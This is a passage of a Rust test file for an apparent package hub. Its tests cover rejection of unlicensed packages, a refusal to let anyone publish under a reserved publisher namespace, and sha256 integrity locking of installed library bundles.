let old_bytes = encode_hub_artifact(package_id, "0.1.1", &old_spec, "TEST").unwrap();
old.version = "0.1.1".into();
old.artifact_rel_path = hub.local_store.artifact_rel(package_id, &old.version);
old.artifact_sha256 = sha256_hex(&old_bytes);
old.manifest = serde_json::to_value(old_spec).unwrap();
let old_path = root.path().join(&old.artifact_rel_path);
std::fs::create_dir_all(old_path.parent().unwrap()).unwrap();
std::fs::write(&old_path, &old_bytes).unwrap();
local_data.put_hub_asset_package(&old_package).unwrap();
local_data.put_hub_asset_version(&old).unwrap();
let failure = hub
.install_asset("superadmin", "default", package_id, "0.1.1", "")
.expect_err("old missing-license package is rejected");
assert!(failure.message.contains("license"), "{failure}");
let report = hub.seed_blessed_catalog().unwrap();
assert!(report.errors.is_empty(), "{:?}", report.errors);
assert!(
report
.published
.contains(&format!("{package_id}@{current_version}"))
);
assert_eq!(
local_data
.get_hub_asset_version(package_id, "0.1.1")
.unwrap(),
Some(old)
);
assert_eq!(std::fs::read(&old_path).unwrap(), old_bytes);
assert_eq!(
hub.list_asset_versions(package_id).unwrap()[0].version,
current_version,
"the upgraded shelf offers the new release first"
);
hub.install_asset("superadmin", "default", package_id, ¤t_version, "")
.expect("new licensed release installs on the upgraded instance");
let installed = root
.path()
.join("users/superadmin/default/data/hub/rwe-libraries/zebflow.codemirror");
assert!(installed.join("LICENSE").is_file());
let manifest: Value =
serde_json::from_slice(&std::fs::read(installed.join("manifest.json")).unwrap())
.unwrap();
assert_eq!(manifest["spec"]["license"]["spdx"], "MIT");
let lock = platform
.dependency_lock
.read("superadmin", "default")
.unwrap();
assert_eq!(
lock.rwe.libraries["zeb/codemirror"].source_id,
format!("{package_id}@{current_version}")
);
}
#[test]
fn a_publish_as_the_reserved_publisher_is_refused() {
let (_root, platform) = hub_publish_fixture("Reserved Publisher");
let error = platform
.hub
.publish_asset(
"superadmin",
"default",
"superadmin",
"zebflow",
"",
"",
"",
"superadmin",
"default",
"folder_files",
"pipelines",
"impostor",
"9.9.9",
"Impostor",
"not blessed",
"",
"public",
HubProjectBundlePublishOptions::default(),
Vec::new(),
)
.expect_err("the reserved namespace refuses");
assert_eq!(error.code, "HUB_PUBLISHER_RESERVED");
}
#[test]
fn installing_a_blessed_rwe_library_copies_bytes_and_locks_them() {
let (root, platform) = hub_publish_fixture("Blessed Install");
let result = platform
.hub
.install_asset(
"superadmin",
"default",
"zebflow.deckgl",
&blessed_version("zebflow.deckgl"),
"",
)
.expect("deckgl installs from the seeded local hub");
assert_eq!(result.asset_kind, HUB_ASSET_KIND_RWE_LIBRARY);
assert_eq!(result.install_root, "rwe-libraries/zebflow.deckgl");
let package_dir = root
.path()
.join("users/superadmin/default/data/hub/rwe-libraries/zebflow.deckgl");
assert!(package_dir.join("manifest.json").is_file());
let bundle = package_dir.join("0.1/runtime/deckgl.bundle.mjs");
assert!(bundle.is_file(), "the runtime bundle is copied");
let lock = platform
.dependency_lock
.read("superadmin", "default")
.expect("lock reads");
let entry = lock
.rwe
.libraries
.get("zeb/deckgl")
.expect("the install recorded a lock entry");
assert_eq!(
entry.source,
crate::contracts::kinds::DependencyLockSource::HubLocal
);
assert_eq!(
entry.source_id,
format!("zebflow.deckgl@{}", blessed_version("zebflow.deckgl"))
);
assert_eq!(
entry.entry,
"rwe-libraries/zebflow.deckgl/0.1/runtime/deckgl.bundle.mjs"
);
let bytes = std::fs::read(&bundle).expect("installed bundle bytes");
assert_eq!(
entry.integrity,
format!("sha256:{:x}", Sha256::digest(&bytes))
);
let requested = platform
.zebflow_cfg
.get_rwe_libraries("superadmin", "default")
.expect("requested libraries");
let requested_entry = requested.get("zeb/deckgl").expect("requested entry");
assert_eq!(requested_entry.source, "hub");
let report = platform
.dependency_lock
.status("superadmin", "default", &requested)
.expect("status");
let item = report
.items
.iter()
.find(|item| item.name == "zeb/deckgl")
.expect("status row");
assert_eq!(
item.status,
crate::platform::services::dependency_lock::DependencyResolutionStatus::Resolved,
"{}",
item.message
);
}
#[test]
fn an_install_request_that_names_no_flags_installs_everything() {
let scope: HubInstallScope = serde_json::from_str("{}").expect("an empty scope body");
assert_eq!(scope, HubInstallScope::default());
assert!(scope.include_code && scope.include_schema && scope.execute_schema);
}
}